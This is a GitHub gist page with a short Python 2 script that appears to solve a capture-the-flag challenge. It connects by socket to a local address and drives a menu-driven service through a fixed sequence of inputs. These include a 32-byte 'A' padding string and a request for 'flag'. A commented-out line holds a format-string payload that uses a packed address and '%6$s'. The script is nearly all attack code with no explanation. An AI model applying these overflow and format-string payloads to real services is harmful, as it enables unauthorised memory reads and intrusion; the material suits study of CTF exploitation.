Created
November 20, 2017 07:49
-
-
Save koaidien/10fccdf85318e0a12176a1a258af6e3a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
from struct import pack | |
s = socket.socket() | |
s.connect(('192.168.135.128',8888)) | |
#s.connect(('119.81.181.254',31337)) | |
s.recv(1024) | |
#raw_input('---') | |
#s.send(pack('<I',0x602120)+'\x00\x00\x00\x00%6$s'+'\n') | |
print s.recv(1024) | |
s.send('5\n') | |
print s.recv(1024) | |
s.send('A'*32+'\n') | |
print s.recv(1024) | |
s.send('2\n') | |
print s.recv(1024) | |
s.send('0\n') | |
print s.recv(1024) | |
s.send('1\n') | |
print s.recv(1024) | |
s.send('51\n') | |
print s.recv(1024) | |
s.send('A\n') | |
print s.recv(1024) | |
s.send('flag\n') | |
print s.recv(1024) | |
s.send('n\n') | |
print s.recv(1024) | |
s.send('3\n') | |
print s.recv(1024) | |
s.send('0\n') | |
print s.recv(1024) | |
print s.recv(1024) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment